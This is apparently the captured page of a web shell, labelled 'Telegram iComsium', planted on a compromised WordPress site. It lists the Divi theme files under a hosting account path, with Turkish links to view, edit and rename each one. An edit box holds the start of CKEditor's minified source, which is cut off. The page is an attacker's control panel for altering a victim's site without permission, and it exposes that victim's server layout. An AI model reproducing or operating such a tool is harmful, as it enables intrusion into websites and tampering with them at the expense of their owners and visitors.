<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: ckeditor.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">﻿/*
Copyright (c) 2003-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
(function(){if(window.CKEDITOR&amp;&amp;window.CKEDITOR.dom)return;window.CKEDITOR||(window.CKEDITOR=function(){var a=/(^|.*[\\\/])ckeditor\.js(?:\?.*|;.*)?$/i,d={timestamp:&quot;J0BE&quot;,version:&quot;4.11.2&quot;,revision:&quot;7f3189e&quot;,rnd:Math.floor(900*Math.random())+100,_:{pending:[],basePathSrcPattern:a},status:&quot;unloaded&quot;,basePath:function(){var b=window.CKEDITOR_BASEPATH||&quot;&quot;;if(!b)for(var c=document.getElementsByTagName(&quot;script&quot;),d=0;d&lt;c.length;d++){var h=c[d].src.match(a);if(h){b=h[1];break}}-1==b.indexOf(&quot;:/&quot;)&amp;&amp;&quot;//&quot;!=b.slice(0,2)&amp;&amp;(b=0===b.indexOf(&quot;/&quot;)?location.href.match(/^.*?:\/\/[^\/]*/)[0]+
b:location.href.match(/^[^\?]*\/(?:)/)[0]+b);if(!b)throw&#039;The CKEditor installation path could not be automatically detected. Please set the global variable &quot;CKEDITOR_BASEPATH&quot; before creating editor instances.&#039;;return b}(),getUrl:function(a){-1==a.indexOf(&quot;:/&quot;)&amp;&amp;0!==a.indexOf(&quot;/&quot;)&amp;&amp;(a=this.basePath+a);this.timestamp&amp;&amp;&quot;/&quot;!=a.charAt(a.length-1)&amp;&amp;!/[&amp;?]t=/.test(a)&amp;&amp;(a+=(0&lt;=a.indexOf(&quot;?&quot;)?&quot;\x26&quot;:&quot;?&quot;)+&quot;t\x3d&quot;+this.timestamp);return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener(&quot;DOMContentLoaded&quot;,
a,!1),b()):document.attachEvent&amp;&amp;&quot;complete&quot;===document.readyState&amp;&amp;(document.detachEvent(&quot;onreadystatechange&quot;,a),b())}catch(c){}}function b(){for(var a;a=c.shift();)a()}var c=[];return function(b){function p(){try{document.documentElement.doScroll(&quot;left&quot;)}catch(b){setTimeout(p,1);return}a()}c.push(b);&quot;complete&quot;===document.readyState&amp;&amp;setTimeout(a,1);if(1==c.length)if(document.addEventListener)document.addEventListener(&quot;DOMContentLoaded&quot;,a,!1),window.addEventListener(&quot;load&quot;,a,!1);else if(document.attachEvent){document.attachEvent(&quot;onreadystatechange&quot;,
a);window.attachEvent(&quot;onload&quot;,a);b=!1;try{b=!window.frameElement}catch(d){}document.documentElement.doScroll&amp;&amp;b&amp;&amp;p()}}}()},b=window.CKEDITOR_GETURL;if(b){var c=d.getUrl;d.getUrl=function(a){return b.call(d,a)||c.call(d,a)}}return d}());
CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(a){var d=CKEDITOR.event.prototype,b;for(b in d)null==a[b]&amp;&amp;(a[b]=d[b])},CKEDITOR.event.prototype=function(){function a(a){var f=d(this);return f[a]||(f[a]=new b(a))}var d=function(a){a=a.getPrivate&amp;&amp;a.getPrivate()||a._||(a._={});return a.events||(a.events={})},b=function(a){this.name=a;this.listeners=[]};b.prototype={getListenerIndex:function(a){for(var b=0,d=this.listeners;b&lt;d.length;b++)if(d[b].fn==a)return b;return-1}};
return{define:function(b,d){var g=a.call(this,b);CKEDITOR.tools.extend(g,d,!0)},on:function(b,d,g,k,h){function p(a,x,w,e){a={name:b,sender:this,editor:a,data:x,listenerData:k,stop:w,cancel:e,removeListener:q};return!1===d.call(g,a)?!1:a.data}function q(){x.removeListener(b,d)}var e=a.call(this,b);if(0&gt;e.getListenerIndex(d)){e=e.listeners;g||(g=this);isNaN(h)&amp;&amp;(h=10);var x=this;p.fn=d;p.priority=h;for(var w=e.length-1;0&lt;=w;w--)if(e[w].priority&lt;=h)return e.splice(w+1,0,p),{removeListener:q};e.unshift(p)}return{removeListener:q}},
once:function(){var a=Array.prototype.slice.call(arguments),b=a[1];a[1]=function(a){a.removeListener();return b.apply(this,arguments)};return this.on.apply(this,a)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,b=function(){a=1},g=0,k=function(){g=1};return function(h,p,q){var e=d(this)[h];h=a;var x=g;a=g=0;if(e){var w=e.listeners;if(w.length)for(var w=w.slice(0),z,F=0;F&lt;w.length;F++){if(e.errorProof)try{z=
w[F].call(this,q,p,b,k)}catch(v){}else z=w[F].call(this,q,p,b,k);!1===z?g=1:&quot;undefined&quot;!=typeof z&amp;&amp;(p=z);if(a||g)break}}p=g?!1:&quot;undefined&quot;==typeof p?!0:p;a=h;g=x;return p}}(),fireOnce:function(a,b,g){b=this.fire(a,b,g);delete d(this)[a];return b},removeListener:function(a,b){var g=d(this)[a];if(g){var k=g.getListenerIndex(b);0&lt;=k&amp;&amp;g.listeners.splice(k,1)}},removeAllListeners:function(){var a=d(this),b;for(b in a)delete a[b]},hasListeners:function(a){return(a=d(this)[a])&amp;&amp;0&lt;a.listeners.length}}}());
CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=function(a,d){a in{instanceReady:1,loaded:1}&amp;&amp;(this[a]=!0);return CKEDITOR.event.prototype.fire.call(this,a,d,this)},CKEDITOR.editor.prototype.fireOnce=function(a,d){a in{instanceReady:1,loaded:1}&amp;&amp;(this[a]=!0);return CKEDITOR.event.prototype.fireOnce.call(this,a,d,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype));
CKEDITOR.env||(CKEDITOR.env=function(){var a=navigator.userAgent.toLowerCase(),d=a.match(/edge[ \/](\d+.?\d*)/),b=-1&lt;a.indexOf(&quot;trident/&quot;),b=!(!d&amp;&amp;!b),b={ie:b,edge:!!d,webkit:!b&amp;&amp;-1&lt;a.indexOf(&quot; applewebkit/&quot;),air:-1&lt;a.indexOf(&quot; adobeair/&quot;),mac:-1&lt;a.indexOf(&quot;macintosh&quot;),quirks:&quot;BackCompat&quot;==document.compatMode&amp;&amp;(!document.documentMode||10&gt;document.documentMode),mobile:-1&lt;a.indexOf(&quot;mobile&quot;),iOS:/(ipad|iphone|ipod)/.test(a),isCustomDomain:function(){if(!this.ie)return!1;var a=document.domain,b=window.location.hostname;
